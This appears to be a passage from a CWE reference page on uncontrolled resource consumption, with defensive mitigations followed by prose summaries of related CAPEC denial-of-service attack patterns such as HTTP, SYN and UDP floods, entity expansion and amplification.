  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation MIT-38.1
Architecture and Design Implementation
  • If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
  • Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Operation Architecture and Design

Strategy: Resource Limitation

  • Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
  • When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
  • Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding

An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.

CAPEC-130: Excessive Allocation

An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.

CAPEC-229: Serialized Data Parameter Blowup

This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

CAPEC-469: HTTP DoS

An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.

CAPEC-482: TCP Flood

An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.

CAPEC-486: UDP Flood

An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-487: ICMP Flood

An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-488: HTTP Flood

An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.

CAPEC-489: SSL Flood

An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.

CAPEC-490: Amplification

An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.

CAPEC-491: Quadratic Data Expansion

An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.

CAPEC-493: SOAP Array Blowup

An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.

CAPEC-494: TCP Fragmentation

An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.

CAPEC-495: UDP Fragmentation

An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.

CAPEC-496: ICMP Fragmentation

An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.

CAPEC-528: XML Flood

An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.

← Back to the CWE list